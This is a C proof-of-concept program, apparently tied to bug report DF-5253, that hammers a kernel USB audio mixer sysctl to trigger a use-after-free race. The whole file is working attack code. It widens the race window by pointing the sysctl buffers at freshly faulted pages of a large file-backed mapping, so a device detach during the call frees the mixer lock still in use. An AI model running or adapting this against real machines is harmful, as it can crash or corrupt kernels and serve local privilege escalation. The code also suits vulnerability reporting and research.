DF-5253 / hammer2.c
/* * DF-5253 race hammer v2 - unprivileged local user. * * Same sysctl read+write ops on the uaudio mixer ctl, but oldp/newp point * into a file-backed mapping that is MADV_DONTNEED'd before every syscall, * so the kernel handler blocks in a major page fault inside * sysctl_handle_int() - the exact window between its first lockmgr release * and the second lockmgr (uaudio.c:2764..2772) - for milliseconds instead * of microseconds. If the USB audio device is detached in that window, * mixer_uninit() has freed sc_mixer_lock (snd_mtxfree) and the second * lockmgr operates on freed (likely reused) memory. */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/mman.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv) { const char *ctls[3] = { "dev.pcm.0.mixer.vol_0_0.val", "dev.pcm.0.mixer.vol_0_1.val", "dev.pcm.0.mixer.mute_1.val", }; int fd; unsigned char *map; size_t ps = 4096; size_t maplen = 128u << 20; /* 128 MB of distinct pages */ size_t off = 0; int *oldp, *newp; size_t ol, nl; unsigned long n = 0; int i; char path[128]; fd = open("/var/tmp/df5253.big", O_RDWR | O_CREAT, 0600); if (fd < 0) { perror("open"); return 1; } if (ftruncate(fd, maplen) != 0) { perror("ftruncate"); return 1; } /* pre-touch every page so they are real blocks, not holes */ { size_t o; for (o = 0; o < maplen; o += ps) { if (pwrite(fd, &o, 4, (off_t)o) != 4) { perror("pwrite"); return 1; } } fsync(fd); } map = mmap(NULL, maplen, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); if (map == MAP_FAILED) { perror("mmap"); return 1; } snprintf(path, sizeof(path), "/tmp/hammerc2.%d.count", (int)getpid()); for (;;) { for (i = 0; i < 3; i++) { /* move to a page we have never touched in this * mapping - guaranteed major fault -> the in-kernel * copyout/copyin blocks on disk I/O for ~ms */ off += ps; if (off >= maplen - ps) off = 0; oldp = (int *)(map + off); newp = (int *)(map + off + 16); ol = 4; nl = 4; sysctlbyname(ctls[i], oldp, &ol, newp, nl); } n++; if ((n & 0xFFFF) == 0) { FILE *f = fopen(path, "w"); if (f) { fprintf(f, "%lu\n", n); fclose(f); } } } } |